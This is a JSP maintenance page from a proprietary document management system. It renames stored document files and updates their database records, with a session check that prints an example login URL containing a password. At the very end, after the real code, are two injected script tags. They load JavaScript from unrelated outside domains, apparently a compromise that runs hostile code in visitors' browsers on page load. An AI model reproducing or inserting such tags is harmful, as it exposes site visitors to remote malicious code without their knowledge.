<%
/*
 * @(#)ReconvertPhysicDcumentName.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   ReconvertPhysicDcumentName.jsp
   Reconvert Physic Dcument Names. 
  
    @author             Beyond Qu
    @company            DCIVision Ltd
    @creation date      09/03/2006
    @version            $Revision: 1.2.22.2 $
*/ 
%>
<%@ page import="java.io.*" %>
<%@ page import="java.io.File" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>  
<%@ page import="com.dcivision.dms.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.bean.DmsContent" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %> 
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ page import="com.dcivision.user.bean.*"%> 
 <jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
 <%
	try{
	 	UserRecord ur = sessionContainer.getUserRecord();
	 	ur.getLoginName(); 
	 }catch(Exception ex){
	 	out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
		out.println("<!--example : http://localhost:8080/EIP/Login.do?action=login&loginName=user1&loginPwd=password-->");
     	out.println("<LoginStatusMonitor result=\"LogoutStatusException\">Please login first.</LoginStatusMonitor>"); 
     	out.close();
	}
%>
<%
String documentPath = "Document";
String segment = "segment";
Connection conn = null;

DmsDocumentNameConvertor documentNameConvertor = (DmsDocumentNameConvertor)Class.forName("com.dcivision.dms.core.ShortDocumentNameConvertor").newInstance();

try{

  conn = DataSourceFactory.getConnection();  
  DmsLocMasterDAObject locMasterDAO = new DmsLocMasterDAObject(sessionContainer, conn);
  DmsContentDAObject contentDAO = new DmsContentDAObject(sessionContainer,conn);
  List locMasterList = locMasterDAO.getFullList();
  //operation file by locmaster
  if(!Utility.isEmpty(locMasterList)){
    for(int i= 0;i<locMasterList.size();i++){
      DmsLocMaster locMaster = (DmsLocMaster) locMasterList.get(i);
      String foldersDir = locMaster.getLocPath() + "/";
      LogFactory.getLog(this.getClass()).debug("foldersDir is "+foldersDir);
      //get under this locmaster's all content
      List contentList = contentDAO.getContentListByLocalMasterID(locMaster.getID());
      if(!Utility.isEmpty(contentList)){
        for(int j= 0;j<contentList.size();j++){         
          String directory = foldersDir;
          DmsContent dmsContent = (DmsContent)contentList.get(j);
          //get the document folder
          Integer segmentNo = dmsContent.getSegmentNO();
          if (segmentNo != null){
            String segmentPath = documentPath +"/" + segment +  segmentNo + "/";
            directory += segmentPath;
          }        
          if (directory.charAt(directory.length() - 1) != File.separatorChar && directory.charAt(directory.length() - 1) != '/') {
            directory = directory + System.getProperty("file.separator");
          }
		  //get old convert name
          String oldFileName = dmsContent.getConvertedName();
          //get new convert name
          DmsDocument tempDmsDocument = new DmsDocument(); 
          tempDmsDocument.setID(dmsContent.getID());
          String newFileName = documentNameConvertor.encryptDocumentName(tempDmsDocument);
          File file = new File(directory + oldFileName);
          File newFile = new File(directory + newFileName);
		  try{  
            if (file.exists()) {
              //rename
              file.renameTo(newFile);
              //update the content record's convertName
              dmsContent.setConvertedName(newFileName);
              contentDAO.updateObject(dmsContent);
              conn.commit();
              LogFactory.getLog(this.getClass()).debug("Content id is "+dmsContent.getID()+"  is reconvert name complete! ");
            }
          }catch(Exception e){
            LogFactory.getLog(this.getClass()).error("ReconvertPhysicDocumentName content id is "+dmsContent.getID()+" error!", e);
		  }

        }
        LogFactory.getLog(this.getClass()).debug(foldersDir + " reconvertName is complete! ");
      }
    }
	LogFactory.getLog(this.getClass()).debug("All files reconvertName is complete! ");
%>
<center>All files reconvertName is complete!</center>
<%
  }

}catch(Exception e){
  LogFactory.getLog(this.getClass()).error("ReconvertPhysicDocumentName error!", e);
}finally {
  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; } 
}

%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>